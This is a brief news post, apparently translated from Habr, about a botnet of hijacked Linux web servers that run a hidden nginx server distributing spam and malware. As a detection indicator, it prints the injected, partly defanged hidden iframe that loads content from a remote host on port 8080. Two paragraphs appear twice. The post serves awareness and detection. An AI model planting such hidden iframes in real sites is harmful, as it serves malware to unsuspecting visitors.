Linux botnet
Denis Sinegubko, an independent security specialist from Magnitogorsk, discovered a unique botnet on the Web, consisting of Linux servers. Denis told about his discovery in an interview with the British newspaper The Register.
Each site of this botnet is a working web server on which any regular web site is running. But besides the main Apache server running on port 80, there is also a second web server, nginx , which distributes spam and malware through port 8080.
Creating a botnet from web servers is a dream of any spammer: wide channels, powerful hardware, 100% uptime of all zombies around the clock, what could be more convenient? Actually, the emergence of such an “ideal botnet” has long been predicted by experts, finally it happened.
')
Recognize the zombie server by this code on the web page.
Each site of this botnet is a working web server on which any regular web site is running. But besides the main Apache server running on port 80, there is also a second web server, nginx , which distributes spam and malware through port 8080.
Creating a botnet from web servers is a dream of any spammer: wide channels, powerful hardware, 100% uptime of all zombies around the clock, what could be more convenient? Actually, the emergence of such an “ideal botnet” has long been predicted by experts, finally it happened.
')
Recognize the zombie server by this code on the web page.
<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden">Source: https://habr.com/ru/post/69586/
All Articles